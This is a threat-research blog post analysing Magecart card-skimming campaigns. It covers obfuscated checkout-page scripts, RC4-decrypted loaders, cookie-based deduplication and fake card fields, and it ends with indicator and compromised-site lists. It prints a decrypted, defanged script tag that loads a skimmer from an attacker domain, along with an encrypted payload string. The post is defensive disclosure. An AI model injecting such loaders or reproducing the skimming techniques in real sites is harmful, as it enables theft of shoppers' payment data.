Zenith Live 2020 Cloud Summit Register
Zenith Live 2020 Cloud Summit Register
Blogs > Security Research

Magecart activity and campaign enhancements

Published on:

Authored by:

Prakhar Shrotriya

Dhruval Gandhi

Mohd Sadique



Magecart activity and campaign enhancements

Magecart is a hacker group known for skimming credit or debit card details by injecting malicious JavaScript code into e-commerce sites. Back in September 2018, the Zscaler ThreatLabZ research team published a blog on Magecart activity that analyzed its attack methods and evasion tactics. We are now following up on that blog to report on recent activity we’ve seen and some enhancements in the campaign.  

Magecart attack chain

In the recent campaign, we noticed a change in the attack chain. One example is the use of heavily obfuscated JavaScript with encrypted data. Also, in some cases, the malicious JavaScript code is now being injected directly in the compromised e-commerce sites, whereas in earlier attacks, the malicious code was injected remotely.

Fig 1: Hits of compromised websites in the last three months


1. Injecting heavily obfuscated malicious JavaScript dynamically

The below credit card stealer JavaScript payload is dynamically loaded when the victim presses the checkout button after loading the cart.

Fig 2: Heavily obfuscated malicious JavaScript code injected on the checkout page  

The ThreatLabZ team’s smart crawler with heuristic detection shows that various JavaScript functions are obfuscated in the payload.

Fig 3: Crawler’s heuristic detection

Fig 4: Malicious script after three levels of deobfuscation by the crawler.


Analysis of the skimming toolkit

The above discussed malicious script looks for the keywords “onepage|checkout|onestep|firecheckout” in the URL and, if found, injects another script from hxxps://dnsden[.]biz/a.js.

Fig 5: Script injected from hxxps://dnsden[.]biz  

The above injected obfuscated script hxxps://dnsden[.]biz/a.js contains encrypted data which is decrypted by the RC4 algorithm in the runtime.


Fig 6: Use of RC4 algorithm in ‘a.js’  

The encrypted data in ‘a.js’ script after RC4 decryption ends up injecting the main skimming script, which is responsible for extracting and sending the victim's credit card details back to the attacker.

Encrypted data - w5rDvcOKwrnCnsKYcWHCgAcaUsOFVcOQXnZpw48KfjZ/CMObMMOiwq7Cm1XDvFDCl8KBEsKRE8Oyw6krWcK0wo1Xw7J+w6/DknoJasKVScKZOhzCoRI=

Decrypted data - <script src="hxxps://dnsden[.]biz/js/universal.js"></script>

The ‘universal.js’ is also obfuscated and has the same encryption algorithm as ‘a.js’. After decryption, it calls a function on the form change event and collects all the payment info entered by the victim.

Fig 7: Collecting payment card details

Fig 8: Sends victim’s credit card details to C&C  

Fig 9: POST request with the stolen credit card details  


Stolen data includes billing and payment details.

Fig 10: Decoded stolen data  

2. Injecting malicious JavaScript directly in the compromised site  

Fig 11: Malicious JavaScript code hosted on the compromised e-commerce site is injected  

Fig 12: Malicious JavaScript code hosted on a compromised site for skimming payment card details


Analysis of the skimming toolkit

The malicious JavaScript code first checks for the two cookie names “$s” and “$sent”; if these cookies are set, data is stored into variable after decoding. These cookie values are referred to each time any payment card details are being entered, and values are updated if the payment card details are new.

Fig 13: Getting values from the two cookie names “$s” and “$sent”  

To get payment card details, data from all the tags, such as input, select, and text area, are stored and the script undergoes a basic length check on the card details.

Fig 14: Validating length of payment card details  

After validating payment card details, a hash of the card details is calculated and checked to determine if the same hash value is available in the data retrieved from the cookie “$sent” earlier. Payment details are dropped if any hash match is found.

Fig 15: Checking the hash value of card details against data retrieved earlier from the cookie  

Each time any new payment card details are entered, the details are sent to the attacker and the hash value for these details is appended to the cookie value “$sent”;  this cookie value is used to check if the details being entered are new.

Fig 16: Value of the cookie “$sent” stored in the victim's browser  

On decoding the above Base64 encoded value of the cookie “$sent,” we get the MD5 array of the payment card details. By storing the encrypted payment card details as a cookie, the attacker has added the ability to drop duplicate details being sent to the attacker, as payment details are always checked against the cookie value and only unique card details are sent to the attacker.

After all the above checks are encoded, the payment card details are sent to the attacker-controlled site.

Fig 17: GET request with the stolen information  

In a similar skimming toolkit, along with the above-discussed cookie logic, attackers are injecting fake payment card fields into the compromised site and hiding legitimate fields once the victim selects credit card as the payment method.

Fig 18: Fake credit card details field and malicious JavaScript file  

Fig 19: HTML code for the fake credit card details fields in the malicious script  

Fig 20: Malicious script injecting the fake credit card details fields  

Fig 21: Above, injected credit card fields; below, legitimate credit card fields  

The injected and legitimate credit card fields look similar, but from the HTML input field attributes (ID and type), there are noticeable differences. In the injected fields, the card number ID is "_ccnumber" and the type is "text," while in a legitimate card number, the ID is "credit-card-number" and the type is "tel."



dnsden[.]biz jquery-bin[.]com/gate[.]php lumbertrans[.]com/errors/default/gate[.]php luxbagsgirl[.]com/errors/default/gate[.]php jsreload[.]pw/gate[.]php saterday-race[.]com/gate[.]php jqueryextd[.]at/gate[.]php routingzen[.]com/gate[.]php mz-at-shop[.]de/errors/default/gate[.]php 93[.]187[.]129[.]249/gate[.]php developer-js[.]info/gate[.]php google-anaiytic[.]com/fonts[.]googleapis/gate[.]php magento-analytics[.]com/gate[.]php gtows[.]com


Compromised sites

shop.triggerbrothers[.]com[.]au custommagnetsdirect[.]com lumbertrans[.]com sunbuggy[.]com saterday-race[.]com windblox[.]com cakedecoratingsolutions[.]com[.]au network-ed[.]com[.]au adooq[.]com mz-at-shop[.]des reddotarms[.]com sprucela[.]com/ t[.]cltradingfl[.]com worldcraftindustries[.]com reallifecatholic[.]com wbminternational[.]com whistlerrides[.]ca/ smartsilk[.]com/ classictruckglass[.]com oconnellsclothing[.]com/skin/ purefruittechnologies[.]com/ cornerstone-arch[.]com minitruckusa[.]com magformers[.]com ravishingcosmetics[.]com alamoshoes[.]com/ salonsavings[.]com/ bathroompanelsuperstore[.]com britishfitness[.]com bumperworksonline[.]com niftyconcept[.]com cornerstone-arch[.]com decorprice[.]com



These new developments in an ongoing campaign illustrate some of the ways that attackers are continuously enhancing their methods for stealing sensitive information like login credentials, bank or payment card details, personally identifiable information, and so on. The Magecart campaign has been active for a long time and continues to evolve and hone its techniques to get better at stealing payment card information and related data. 

Zscaler ThreatLabZ actively tracks such campaigns and protects customers from these types of attacks.


Suggested Blogs